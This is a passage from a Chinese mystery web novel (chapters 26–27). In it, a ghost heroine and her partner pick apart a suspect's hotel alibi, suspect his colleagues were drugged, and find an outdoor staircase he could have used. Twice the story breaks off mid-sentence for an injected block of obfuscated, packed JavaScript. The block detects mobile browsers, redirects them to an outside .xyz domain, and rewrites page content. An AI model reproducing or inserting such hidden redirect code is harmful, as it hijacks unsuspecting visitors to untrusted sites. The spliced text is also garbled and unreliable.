“绝对没有的事。”张洁忙摆手。
这位姓赵的警官今天来找他问话的时候他就觉得有点莫名其妙,毕竟警方前天刚来问过,怎么又来问。但转念细想,又觉得赵警官问的都和所谓的不在场证明有关,联想到公司里连续有两个员工出事,听说连做保洁的阿姨都被问话了,他越发觉得事情可能比他想得要严重,想到这里,他便坐正了些,继续道,“我们本来就因为导航的问题晚到了,再说了,手头上的工作又多,本来不晚到也是勉强完成,怎么可能再浪费时间做别的事。”
赵诗年看了看笔记,问道:“你们社长也一直在卧室没有出来过吗?”
她这么一问,张洁像是记起什么,回道:“警官你是问社长他有没有从卧室出来吗?那倒是出来过一回,是下午的时候,具体的时间我不是很记得了,反正挺晚了。不过他只是出来接水喝,问了我们两句又回卧室了,前后不超过五分钟时间。”
赵诗年点了点头。
张洁见赵警官点头,接着说下去:“后来也没发生什么。大概18点的时候我们去吃饭,吃的是酒店的自助餐。大家都很累了,吃饭时候,社长都没怎么说话,小姚也一直打哈欠,就我一个人在那里找话题,想放松一下气氛。晚餐后我们就各自回房了。”
赵诗年没作声,手里拿着笔轻轻敲着笔记本。
“警官,还有什么要问的吗?”张洁十指展开,放在大腿上不停地搓着西裤。
“今天先这样,你要是还记起什么细节,请联系我们。”赵诗年合上笔记本,关了录音录像设备。
张洁离开后,轮到于森接受问话。
他进来的那瞬间,端木茵浑身一僵。
明知道跟三中有关的人不是于森,也清楚812案中于森没有作案时间,但那股强烈的这人就是凶手的感觉还是从心底冒了出来。
26. 第二十六章 八月二十四日
于森在赵诗年对面坐下。
和张洁相比,他要冷静很多,神情自若,没有多余的小动作。
他的答复和张经理的差不多,有些细节上甚至回答得更详细些。
“是的,我是去买咖啡了,就是巷子口的咖啡店。大家都很疲惫,我想喝点咖啡能提提神。”
“可能路上太折腾了,后来我靠在沙发上睡着了。多长时间?嗯,大概一个小时左右吧,我不确定,我没看时间,但应该不会超过一个半小时。”
“醒来后,我有点口渴,中午吃的面太咸了,我便去客厅里泡了杯茶喝,顺便看看他们工作做得怎么样了。”
“我的车?黑色奥迪A6L。”
赵诗年又问了几个问题,于森都一一回答。
最后,赵诗年又问了句:“昨晚你在哪?”
“昨晚吗?在家吧。”于森这样回道。
于森离开会议室后,赵诗年一面翻看着自己的笔记,一面揉着太阳穴。
手机铃声响起。
“嗯,我这边结束了。和上次的口供差不多,除了他们去的路上导航导错了,这个上次他们没说。
“嗯嗯,说是本来10点能到的,后来午饭时间才抵达酒店。”
那边说了句什么,赵诗年忙道:“好,好,我现在就过去。”
挂了电话,赵诗年收拾下东西离开了。
赵警官回队里去了,端木茵留下来也没意思。
一条街外的商场地下停车场里,梁淮还在那等她。他说不愿再去对面的便利店,连着几天去,便利店里人来人往的,难免有人注意到他,他不想引起不必要的麻烦。
端木茵觉得他说得也不是没道理。
他本就长得好看,去哪都很引人注目,偏偏还一副生人勿进的模样,让人更想搭讪。
梁淮坐在车里,腿上放着笔记本电脑,低头盯着笔记本上的图标,时不时抬头看眼停车场入口处。第N次抬头时,端木茵小跑着进了停车场,他探出半个身子朝她做了个手势。
端木茵坐进副驾,气喘吁吁地抱怨:“热死啦。”
梁淮随手将冷气调大。
“还是车子里舒服。”端木茵慵懒地向后一靠,惬意地闭上眼,声音有点无力,“梁淮,我要是说我想去于森他们去的酒店,你会陪我去吗?”
说完,她睁开眼,歪头看向梁淮。
梁淮侧身靠在椅背上,回视她,问道:“是赵警官问出新的线索来了?”
端木茵轻轻摇头:“那倒没有。”她轻“啧”一声,纠正道,“哎,也不是。于森和张经理都说12号那天,他们一早出发了,但因为导航出错的缘故,他们晚到了,临近中午才到。我看赵警官记下了这点,我想,肯定是之前他们没提到过。”
接着,她又把今天的所闻跟梁淮说了遍。
梁淮挑眉:“就因为这点,你要专门跑一趟外省?”
“嗯哼。”端木茵连连点头。
“好吧,我没看出这点有什么特别的,你不能说一出是一出。”
端木茵换了个姿势坐,拉住了梁淮的手臂:“梁淮……”她拖长了尾音,尝试说服他,“于森真的就是凶手,我有预感。你要相信女人的第六感。”
“阿茵,破案讲证据。”他任凭她拽着他的手臂,一板一眼跟她讲道理。
端木茵下巴微扬,拔高了声调反驳:“谁说我不讲证据了。证据么,我有的,我也不是随随便便怀疑他,只不过我先设定他是凶手,反过来找能证明他是凶手的细节而已。”说到后面她声音又低了下去,明显软了气势。
梁淮叹气,道:“好吧,你说来听听。”
端木茵嘿嘿一笑,道:“我们先来说作案时间。凶杀案发生在12日的下午时段,从槐塘村到嘉平市的酒店是一个半小时到两个小时的车程。他们三人临近中午才到酒店,我没记错的话,老吴他们的报告里说于森12点50分左右去买咖啡的,那么他最快也要下午13点多出发去槐塘村。一来一回,要三个小时到四个小时,加上作案时间,差不多是三个半小时到四个半小时才能回到酒店,一切顺利的话,16点30分至17点30分左右他能赶回来,正好符合张经理说的,挺晚的时候于森从卧室里出来泡茶喝,这一点于森自己也承认的。好,我们再看另一个细节。张经理的证词里说,于森一直在卧室里,注意,卧室的门是关着的。那么,是不是可以理解为,从13点多到下午挺晚了之间,也就是案件真实发生的时间段内,没有人真的见到于森在套房的卧室里?”
梁淮打断她,指出推理中的漏洞:“我就先不问你于森怎么从酒店出去不被监控拍到,也不问你他的车停在酒店旁,他是用什么交通工具去案发现场的。可是阿茵,就算于森是蜘蛛人转世,能从窗户爬墙出去,他又如何保证在他‘消失’的三到四个小时里,客厅里的两个人不敲门打扰他呢?他若是不应门,你们张经理也好,你晓晨姐也好,他们中总有一个人会因为不放心卧室里一点声音也没有开门看看情况,毕竟如今年轻人猝死的案例也不少,他们会一个人也没想到去敲个门,随便问句什么?你们张经理是什么样的人我不清楚,但姚晓晨,你自己也说过,她对于森有着不一样的感情,你觉得她会无所谓于森在卧室里几个小时没一点动静?你的推断站不住脚跟。”
被呛了句,端木茵不服气地反驳:“梁淮,麻烦你好好回忆一下张经理的证词,他给了两条很重要的线索,第一条,‘于森不喜欢工作的时候有人打扰他’;第二条,‘幸好有那杯咖啡,不然一下午真够难熬的’,和这条线索有关的还有一句‘大家都很累了,吃饭的时候,社长都没怎么说话,小姚也一直打哈欠’,梁淮,你还没明白吗?所以我说他们因为导航出错的缘故晚到了这一点很重要。”
梁淮摊手,语气平淡:“我真没明白。”
“第一条线索,仅这句“于森不喜欢工作的时候有人打扰他”就打消了客厅里两位去敲卧室门的念头,起码打消了张经理的念头,姚晓晨我一会儿再说。
“然后是第二条线索,虽然是绕了一个大圈子,晚到了两个小时,但他们是早上8点出发的,四个小时的车程至于累成张经理说的那样吗?好吧,你若是说张经理年纪大了,做过手术身体又不好,四个小时的车程可能真的会让他很疲惫,那么于森呢?那么姚晓晨呢?是8点出发,不是大清早4点出发,也没疲劳驾驶十几个小时,二十几个小时,他们俩年纪轻轻的,不至于吧。
“好,再看那句‘小姚也一直打哈欠’。你也是加过班的人,你说,让你上一天班,再加班几个小时,以你的年纪,抗还是扛不住,会不会一直打哈欠?”见梁淮沉默不言,端木茵继续说下去,“姚晓晨她也经常加班,我就从没见过她乱打哈欠,又不是熬一整夜,至于到吃晚饭的时候还哈欠不断吗?况且她下午还喝了杯咖啡。”
梁淮琢磨着她话中的意思,道:“你的意思是她被下药了?”发现自己的话好像有歧义,他忙找补,“我是指有镇静作用的药。”
“我就是这个意思。我怀疑姚晓晨,还有张经理可能都被下了药。你还记得吗,张经理说,他们在路上吃了于森买的早点。我猜应该是类似面包咖啡之类的,但不管是什么早餐,于森都有机会做手脚。当然,后面的那杯咖啡,也可能被做过手脚,毕竟于森想要的是万无一失。还有,所谓的导航出错我怀疑也是计划的一部分,目的是让张经理,还有姚晓晨觉得疲惫是因为在路上耗了太多的时间所以他们才会觉得疲惫不堪。”
梁淮平静地指出:“以你们张经理的年龄和身体素质,晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466098|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
饭的时候,他应该支撑不住了,可他依旧跟于森还有姚晓晨一起去用餐了。他甚至还注意到姚晓晨一直打哈欠,也注意到于森不怎么说话。他如果被下了药,又工作了一下午,那么他应该没有精神去注意别人,只会早点用完餐早点回房休息。”
端木茵抬了抬眉:“你也说了,张经理应该没精神去注意别人。可是,他回答赵警官的时候怎么说的?他说他一个人在那里找话题,想放松一下气氛。他那是精神不好的样子吗?我看他精神好得很呢。”
“你在暗示张经理休息过了,养好精神了?”
“我没在暗示,我是在明示。
“张经理的证词并不全是实话。他也知道他证词里掺了假,所以赵警官再次找他录证词的时候,他很紧张,怕警方看出他的证词不可靠。
“作为同事,我知道张经理上个月刚做了手术,也清楚他术后恢复得并不好,三天两头请病假。群里说张经理要去参加大会的时候我就在想,社长到底是男人,够粗心,也不想想张经理年纪大,身体又不好,不适合这个时间点出差。但我现在回过头来看,于森他可不粗心,他让张经理出差可是有小心思的。
“张经理体质差本就容易疲倦,再被下了药,他应该支撑不到下午就打瞌睡了。以晚餐时张经理的状态来看,下午他应该休息了不短于两个小时的时间。以姚晓晨的为人,若是看到张经理睡着了,她不会叫醒张经理,她会让张经理休息一会儿,也不会去于森面前告状。
“这种情况下,你说姚晓晨会因为卧室里没任何动静而去敲门吗?不,她不会。敲门就意味着拆张经理的台,让于森知晓张经理在工作时间打瞌睡。姚晓晨她绝对不会这么做。
“就算张经理醒了,姚晓晨也不会去敲卧室的门。从张经理的证词可以看出,姚晓晨她也很累了。站在她的角度,她会怎么想呢?她会下意识地去想,于森是不是也累了,毕竟那天开车的是于森。这种情况下,她还会去打扰于森休息吗?答案是不会。”
梁淮基本同意端木茵的推断,但还是忍不住指出其中的漏洞:“你刚刚也说了于森需要三个半小时至四个半小时的时间施行他的计划。那么,扣除张经理休息的两个多小时,还剩一个小时到两个小时。不提姚晓晨,因为你也说了,她不会打扰于森休息。但你们张经理呢,在他没有睡着的这个时间段里,于森如何保证张经理不会去打扰他呢?”
端木茵捏了捏自己的耳垂,道:“首先,我说不短于两小时,这就意味着可能是三小时或更长时间。好,就算是两小时,按于森‘失踪’了四个半小时计算,还剩两个半小时。这剩下的两个半小时里,有从用完午饭开始工作到张经理没忍住睡着了这段时间,我们算它一个小时吧,没说一定是一个小时,只是打个比方。在这一个小时里,有多少可能性张经理去敲于森的门?”她停顿了一下,望着梁淮。
梁淮伸手拉住端木茵的手。
她思考的时候喜欢捏自己的耳垂,完了还盯着镜子嘀咕‘我左耳垂怎么比右耳垂厚’。
“别捏了,一会儿又要红了。”他把她的手握在自己掌心里,又接上之前的话题,“我明白你的意思了,领导刚安排下来工作你就去打扰领导会被认为个人工作能力不强。张洁不管怎么样也是个经理,这点道理他还是懂的。至于醒后,应该更不可能去打扰于森,毕竟万一于森问起来工作做得怎么样了,他也不大好回答。”
端木茵倒也让他握着她的手,只是她的手在他掌心里一点也不安分,指甲挠得他掌心有点小疼。她挠得起劲,但思路没被带偏:“你看,我虽然没有实质性的证据证明于森是凶手,但你不能否认,他的不在场证明并不是无懈可击的。”她冲他眨了下眼,嘴角狡黠的笑容是他熟悉的。
梁淮知道,她要提要求了。
27. 第二十七章 八月二十四日
果然。
“所以,梁淮,你可以启动车子了。”端木茵指挥道。
一样是说一出是一出的性格,这样的无理要求若是梁柔提出来,他会认定小柔脑袋瓜子发热,定不会搭理她。但由端木茵说出来,他就觉得是另外一码事了。
这大概就是老婆和妹妹的区别。
梁淮叹气:“去可以,但今天就回来。”
端木茵难得不反驳他:“那当然,村霸还在家里,不回去,它不得把房子拆了,到时候你租房时付的押金都要不回来。”梁淮既然已经答应了去嘉平市,她自然不会再得寸进尺。她很识相的好吗。
“酒店的地址知道吗?”他问。
“知道,知道,我特意偷看了两遍,绝对不会错。”劝动了梁淮去嘉平市,端木茵不免有些兴奋。她太想去现场了。她想确认一下她的推断是不是能成立。
借助导航,一个半小时不到他们就抵达酒店了。
酒店位于嘉平市东区呈不正规井字的老街窄巷内,老房子改造,安静古朴,远离主城区的喧嚣。
梁淮将车停在路边,两人决定先附近看看。
下午的太阳晒,即使走在绿荫下,端木茵都觉得头顶快冒烟了。她实在想不明白了,都变成阿飘了,怎么还那么怕热呢。
倒是梁淮,好像一点不受高温影响。
“梁淮,你不热吗?”端木茵问,抬起一手抵在额前,遮住直晒过来的阳光,另一手给自己扇风。
“热啊。”
阿茵最是怕热,偏偏又是一日里最热的下午,暴晒在毒日头下,难怪她说话都没力气。
“那你帮我扇扇,我手掌小,扇不出风。”
梁淮失笑,一点不讲道理的要求就被她这么理直气壮地说出口了。
“心静自然凉。”他淡淡地回了她一句。
男人有嘴但不会说话的下场便是胳臂上被狠狠砸了一拳。
***
酒店背面是条小巷。小巷的一边是酒店,另一边是条老弄堂。巷宽大约五米的样子,很窄,其中的三分之一的空间还被酒店的一道户外楼梯占了,两个人并排站着都显得有些拥挤。
“梁淮,你看,这里有道楼梯。”端木茵的眼眸里都是兴奋。户外楼梯的存在让她的推理变得可行。
梁淮站在她身旁,两手插兜,抬头望着面前那锈迹斑斑的金属楼梯,数着楼层:“胆子够大,要够到这边的楼梯,挨得最近的房间也得沿着腰线挪……”他眯着眼睛估算了下距离,“得挪三米到四米的样子。这是老房子改造的,腰线也窄,我目测不会超过十五公分。”
端木茵点头,想象着在那个热得发闷的下午,于森贴着外墙,屏住呼气一步一步往楼梯挪的样子。
湿哒哒的汗珠顺着两鬓滴落,在这幽静的小巷里,汗珠从高处滴落,最终砸在青石板路上发出的微乎其微的响声,在于森听来会不会像爆竹炸开般巨响。
“他运气也是好,这万一有人进了巷子,或是楼上有人探头往楼下看,看到有个人鬼鬼祟祟贴着外墙,啧啧啧。”端木茵兀自摇了摇头。
梁淮嗤笑一声:“是有点运气,不过应该到头了。”
“不知道老吴他们还能检测得出痕迹吗?”虽然知道距案件发生已经过去差不多两个星期,想要检测出痕迹的可能性几乎是零,但端木茵还是稍稍地期待了下警方能检测到有用的证据。
梁淮抿了抿嘴,道:“我看难。下过几场大雨,应该很难留下线索。”
“也是。”端木茵的肩膀垮了下去。
不再做无谓的假设,她捏了捏后颈,歪头看向梁淮,问道,“要去跟酒店确认一下他住的楼层吗?”
梁淮摇头:“不用,问了酒店也不会回答。我去问老吴。”
端木茵撅着嘴,刚想说,老吴总在忙,哪有时间搭理你,话还没说出口,通话接通了。
“老吴,是我。”
“你等等。”手机那头传来闹哄哄的声音。端木茵记起今天老吴和那个姓胡的警官要去三中调查,心里不免起了点好奇,都过了午休时间,即便学校那边办事再拖拉,这会儿也该问得差不多了,老吴怎么还在学校呢?
“找我什么事?”老吴大概找了个人少的地方,嘈杂声轻了许多。
梁淮移步到小巷口。幽静的巷子里,一丁点声音都被无限放大,在稍微喧闹的巷口说话反而让他更放松。
“老吴,我现在嘉平市,找你是想了解一下于森他们在嘉平市住的……”
“停。”话没说完就被老吴打断,“小梁,你知道我不方便透露的。”
老吴的声音透着浓浓的疲倦,端木茵脑子里蓦地闪现出他无奈捏鼻梁的画面。她走过去,用手肘碰了他一下,示意他别为难老吴难做人。
梁淮朝她点点头,又换了个手拿手机:“老吴你听我说,我没要你透露任何信息,我就问你,他是不是住酒店三楼?你看,信息是我自己查到的,不是你透露的,你只需要说是,还是不是。”
手机那头沉默了几秒。
梁淮低头笑了一下。老吴做事认真守则,即便在他梁淮看来那不算违规,可在老吴眼里,他问的问题一样是不能透露的。老吴不作声,也算是变相暗示他答案了。
他刚想说“没事”,手机那头有人跑过来对老吴说了句什么,那人压着声音说话,他听不太清楚,隐约听到那人说“醒来了……问话……”
这个消息大概很重要,老吴连招呼都没来得及跟他打招呼,便匆匆挂了电话。
梁淮将手机收起,对靠在墙上的端木茵摊了摊手。
端木茵笑笑。
这样挺好,不用为难老吴,也知道了他们的推断没错。
“梁淮。”她唤他。
“嗯。”
“我们找到凶手了。”
“嗯。”他嗯得有些敷衍。事实上,他有点在意刚才那个人说的那句“醒来了……”。他不了解警方办案流程,也不清楚老吴在手头上有还没破的案的情况下,是否还要兼顾侦破其他案件。如果不是的话,是不是意味着阿茵的案子又有变故。
察觉到梁淮神色不对,端木茵走上前来,问道:“怎么了?”
梁淮摇了摇头:“我不知道是不是和你的案子有关。”
“到底怎么了?”
“有人跟老吴说了句“醒来了”。”
“醒来了?”端木茵皱了皱眉,“什么意思?”
梁淮摇头。他不清楚谁“醒来了”,但恰好这个时间点,他多少有点怀疑是不是又发生什么事了。
“不知道。老吴听到这句话后就挂电话了,他给我种很急着去看看情况的感觉。”
端木茵没再问,就这么沉默着,半响才回梁淮:“我在想。”她的眉头皱得更深了,“我在想,会不会又有人出事了?”
梁淮抿唇不语。
如
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471075|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
果是的话,这回受害者又是谁?
端木茵转身,赌气似的拔着墙上砖缝里冒出的一小撮小草:“老吴他们说好今天去三中的。现在是下午一点半,两分钟前你打电话的时候,对面背景声音很吵。这个时间点,已经开始上第六节课了,除非老吴在操场上,而且操场上有上体育课的同学,不然学校里怎么会那么吵闹。所以,老吴他不在学校,他在别处。是又发生了命案对吧?”她停顿了一下,低头看着脚下,几只蚂蚁在青石板路上爬行,起伏不平青石板路有些年头了,磨得光滑,蚂蚁随着石板路的起伏上上下下,不辞劳苦。
有穿堂风吹过,拂乱了她的头发,她伸手将黏在眼窝的发丝拢到耳后,转过身,可怜兮兮地看着梁淮,“怎么会这样?于森他没理由再杀人了。梁淮,是我的推断错了吗?”
梁淮轻轻摇头:“阿茵,不要因为一句没头没尾的话怀疑自己。”
“是不是我太心急而忽略了我的推断其实存在漏洞。我的推断只能说明如果于森想要出酒店又不想被酒店的监控拍到的话,他可以从卧室离开,但并不证明于森真的离开过酒店。”端木茵靠在墙上,抬头仰望锈迹斑斑的楼梯,努力想着到底哪个环节出错了,哪个细节被她忽略了。
凶手难道不是于森。若凶手不是于森,那么她就要重新审视凶手杀她的动机了。
已知凶手是当天晚上还留在办公大楼六楼的人,即孟野、丁维、禾川,当天没有回家的姚晓晨,以及案发时看似已经离开的于森。
这些人里,确实有一两人和她曾经闹过不愉快,但这些不愉快不至于要上升到动手杀她的地步。
好吧,即使在她看来不至于要到杀她的地步,或许人家就是觉得至于。暂且不提这些,再来看看姚晓晨在案件里起到的作用。
在目睹了她被人推下楼后(这点是可以确认的),以姚晓晨的为人,即便她一开始因为惊慌而没在第一时间报警,她也绝不可能点赞视频误导警方办案。
但有人从她包里拿出手机给视频点了个赞是不争的事实。
这个赞只能是她死后还在现场的人点的。如果是姚晓晨点的,那么她能想到的理由只有一个,就是为了给真凶做伪证。
反之,如果这个赞不是姚晓晨点的,那只能是凶手点的。
可是,凶手为什么要浪费宝贵的时间从她包里拿出手机,点开APP,还要找个搞笑视频点赞?
为了让她的死看上去更像是踩空了跌下楼?
其实大可不必。
写字楼的台阶很滑,上个月还发生过踩空的事,那个踩空的人骨折了,还在医院里躺了几天。当时有人提议给台阶铺一层防滑垫。事情闹到这个地步,楼里的人不能说对此事一点不了解吧。
既然如此,凶手根本没必要点赞视频就为了显示出她边刷视频边下楼才会踩空。即便没有那个点赞,在没有明显被害动机的前提下,她的死仍旧可能被认为是事故。
如此,点赞视频的主要目的就不会是让人误以为她是踩空才滚下楼的。
又回到了之前的推断,点赞是为了让凶手有明确的不在场证明。
既然点赞是为了给凶手做不在场证明,那么对于在点赞时间点还未离开写字楼的人来说显然没有任何作用,唯一的受益人是刚离开现场的于森。
而能让姚晓晨做伪证也要维护的人也只有于森。
真是头疼啊。端木茵捏了捏鼻根处。